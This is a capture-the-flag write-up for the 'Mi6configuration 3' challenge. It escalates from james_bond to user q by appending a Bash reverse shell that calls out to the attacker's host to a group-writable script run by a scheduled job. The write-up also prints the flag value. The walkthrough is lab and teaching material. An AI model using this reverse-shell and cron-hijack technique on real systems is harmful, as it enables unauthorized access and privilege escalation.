Mi6configuration 3

We recently acquired a computer at MI6 and it seems like they might have made some mistakes. Can you hack it using their misconfigurations and get all their important data? Download the VM, power it on, find its IP address, and start hacking.

The challenge VM download uses the lowercase first name of the James Bond character Q as its volume password. There are three flags, flag2 does not exist, and this part asks for flag3.

The previous part left us with James Bond’s credentials. This time the target is the user q, so I logged back in and started looking for something Bond could write that q would run.

$ ssh james_bond@192.168.1.51
james_bond@192.168.1.51's password:

Welcome to Ubuntu 18.04.6 LTS
$

The SSH login works, so I started with the usual local enumeration. There are three directories under /home:

$ ls /home
james_bond  q  Shared

Our own directory contains nothing interesting and we cannot enter q’s home yet. The shared directory is more useful. It contains a small shell script named update.sh.

$ cd /home/Shared
$ cat update.sh
#!/bin/bash
# This command will run every two minutes and scan for running processes
# Doing so will protect us from being hacked
# Please do not change this file
ps -aux

The comment tells us the script is executed every two minutes, which strongly suggests a scheduled job. The next question is which account runs it and whether we can change the file.

$ ls -la
dr-xr-x--- 2 q agents 4096 May  3 10:27 .
-rwxrw---- 1 q agents  168 May  3 10:27 update.sh

$ groups
james_bond agents

The file belongs to q:agents, group members may write to it and james_bond belongs to that group. If the scheduled task runs as q, anything appended to the script will also run as q.

I checked my attack-machine address, started a listener on port 1337 and added a Bash reverse shell to the end of the shared script. The example address below has to match the attacker’s interface.

# On the attack machine
$ nc -nvlp 1337

# In the james_bond SSH session
$ echo 'bash -i >& /dev/tcp/192.168.1.39/1337 0>&1' >> /home/Shared/update.sh
$ tail -n 2 /home/Shared/update.sh
ps -aux
bash -i >& /dev/tcp/192.168.1.39/1337 0>&1

After waiting for the two-minute interval, the listener receives a new shell. This time the prompt belongs to q, confirming that the scheduled job executed our line with the file owner’s privileges.

listening on [any] 1337 ...
connect to [192.168.1.39] from (UNKNOWN) [192.168.1.51] 47694
bash: no job control in this shell

q@MI6:~$ ls
flag3.txt
q@MI6:~$ cat flag3.txt
byuctf{cronjobzz}